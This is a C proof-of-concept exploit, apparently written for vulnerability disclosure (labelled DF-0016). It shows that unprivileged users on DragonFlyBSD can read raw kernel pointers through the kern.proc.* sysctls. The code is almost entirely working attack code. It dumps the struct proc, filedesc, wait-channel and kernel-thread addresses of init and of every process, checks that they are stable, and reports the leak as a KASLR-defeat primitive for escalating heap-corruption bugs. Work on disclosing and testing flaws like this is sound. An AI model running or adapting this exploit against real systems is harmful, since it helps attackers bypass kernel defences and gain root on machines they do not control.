DF-0016 / leak_kinfo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-0016 PoC - kinfo_proc (kern.proc.*) exports unredacted kernel pointers. * * fill_kinfo_proc (sys/kern/kern_kinfo.c:128-129) and fill_kinfo_lwp / * fill_kinfo_proc_kthread (kern_kinfo.c:272,301,321) fill user-visible * kinfo_proc / kinfo_lwp fields with RAW kernel virtual addresses: * * kp->kp_paddr = (uintptr_t)p; // kern_kinfo.c:128 * kp->kp_fd = (uintptr_t)p->p_fd; // kern_kinfo.c:129 * kl->kl_wchan = (uintptr_t)td_wchan; // kern_kinfo.c:272 * kp->kp_ktaddr = (uintptr_t)td; // kern_kinfo.c:301 * kp->kp_lwp.kl_wchan = (uintptr_t)td->td_wchan; // kern_kinfo.c:321 * * These are copied out unredacted via the world-readable kern.proc.* sysctls * (sysctl_out_proc at kern_proc.c:1603/1612/1633). sysctl_kern_proc for * KERN_PROC_PID only checks PRISON_CHECK (kern_proc.c:1690), NOT p_trespass, * so an unprivileged user can read the kinfo_proc of ANY pid (including * root's) and recover its struct-proc / filedesc slab address and wait-channel. * KASLR-bypass + slab-layout primitive that escalates heap-corruption bugs. * * Build (DragonFlyBSD amd64): cc -o leak_kinfo leak_kinfo.c * Run as an UNPRIVILEGED user: ./leak_kinfo * * Expected (bug present): prints non-zero kernel addresses for kp_paddr and * kp_fd for each pid (struct proc / filedesc slab addresses), stable across * reads; tallies a large number of leaked kernel pointers across all procs; * exits 0. On a fixed kernel the fields are zeroed -> exits 2. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/user.h> /* struct kinfo_proc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* amd64 canonical kernel half: 0xffff800000000000 .. 0xffffffffffffffff. * Covers DragonFly's DMAP/heap (0xfffff8xxxxxxxxxx) and kernel text * (0xffffffff8xxxxxxx). */ static int looks_like_kaddr(unsigned long long v) { return (v >= 0xffff800000000000ULL); } static int read_kinfo(int pid, struct kinfo_proc *kp) { int name[4] = { CTL_KERN, KERN_PROC, KERN_PROC_PID, pid }; size_t len = sizeof(*kp); memset(kp, 0, sizeof(*kp)); if (sysctl(name, 4, kp, &len, NULL, 0) != 0) return -1; if (len == 0) return -1; return 0; } /* Count how many of the 4 pointer fields in a kinfo_proc look like kernel * addresses (the leak surface). Returns the count [0..4]. */ static int leaked_fields(const struct kinfo_proc *kp) { int n = 0; if (looks_like_kaddr((unsigned long long)kp->kp_paddr)) n++; if (looks_like_kaddr((unsigned long long)kp->kp_fd)) n++; if (looks_like_kaddr((unsigned long long)kp->kp_lwp.kl_wchan)) n++; if (looks_like_kaddr((unsigned long long)kp->kp_ktaddr)) n++; return n; } static void dump_proc(const struct kinfo_proc *kp) { unsigned long long pa, fd, wchan, ktaddr; pa = (unsigned long long)kp->kp_paddr; fd = (unsigned long long)kp->kp_fd; wchan = (unsigned long long)kp->kp_lwp.kl_wchan; ktaddr = (unsigned long long)kp->kp_ktaddr; printf(" pid %-6d uid=%-4d comm=%-16s\n", kp->kp_pid, kp->kp_uid, kp->kp_comm); printf(" kp_paddr = 0x%016llx %s\n", pa, looks_like_kaddr(pa) ? "(struct proc slab)" : ""); printf(" kp_fd = 0x%016llx %s\n", fd, looks_like_kaddr(fd) ? "(filedesc slab)" : ""); printf(" kl_wchan = 0x%016llx %s\n", wchan, looks_like_kaddr(wchan) ? "(wait channel)" : ""); printf(" kp_ktaddr = 0x%016llx %s\n", ktaddr, looks_like_kaddr(ktaddr) ? "(kthread addr)" : ""); } /* Enumerate the whole process table via KERN_PROC_ALL so the tally is robust * regardless of which daemons are running on this boot. */ static struct kinfo_proc * all_procs(int *count_out) { int name[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL }; struct kinfo_proc *arr = NULL; size_t len = 0; int tries; *count_out = 0; for (tries = 0; tries < 16; tries++) { if (sysctl(name, 3, NULL, &len, NULL, 0) != 0) return NULL; if (len == 0) return NULL; arr = reallocf(arr, len); if (arr == NULL) return NULL; if (sysctl(name, 3, arr, &len, NULL, 0) == 0) { *count_out = (int)(len / sizeof(struct kinfo_proc)); return arr; } /* ENOMEM / table changed under us: retry with fresh size */ } free(arr); return NULL; } int main(int argc, char **argv) { printf("running as uid=%d (%s); self pid=%d\n", (int)getuid(), argv[0], (int)getpid()); printf("reading kern.proc.* (KERN_PROC_PID/ALL -> PRISON_CHECK only, " "no p_trespass gate)\n\n"); /* detailed view: self + init */ struct kinfo_proc kself, kinit; if (read_kinfo((int)getpid(), &kself) == 0) { printf("== self ==\n"); dump_proc(&kself); } if (read_kinfo(1, &kinit) == 0) { printf("== pid 1 (init) ==\n"); dump_proc(&kinit); } /* stability check: read pid 1 three times, kp_paddr must match */ printf("\n=== stability check: read pid 1 three times, kp_paddr must match ===\n"); struct kinfo_proc k1, k2, k3; int stable = 0; if (read_kinfo(1, &k1) == 0 && read_kinfo(1, &k2) == 0 && read_kinfo(1, &k3) == 0) { printf(" pid 1 kp_paddr: 0x%016llx / 0x%016llx / 0x%016llx %s\n", (unsigned long long)k1.kp_paddr, (unsigned long long)k2.kp_paddr, (unsigned long long)k3.kp_paddr, (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr) ? "(STABLE = real struct proc address)" : "(unstable)"); if (k1.kp_paddr == k2.kp_paddr && k2.kp_paddr == k3.kp_paddr && looks_like_kaddr(k1.kp_paddr)) stable = 1; } /* full-system tally across every readable process */ int nprocs = 0; struct kinfo_proc *all = all_procs(&nprocs); int total = 0, procs_leaked = 0; if (all != NULL) { int i; for (i = 0; i < nprocs; i++) { int n = leaked_fields(&all[i]); if (n > 0) { total += n; procs_leaked++; } } } if (stable) total++; /* credit the explicit 3x-stable pid-1 reading */ printf("\nresult: %d kernel pointers leaked across %d processes" " (of %d total readable)\n", total, procs_leaked, nprocs); printf("result: %s\n", (total > 0) ? "LEAK CONFIRMED (KASLR-defeat / slab-address primitive)" : "no kernel pointers observed (fields appear redacted)"); free(all); return (total > 0) ? 0 : 2; } |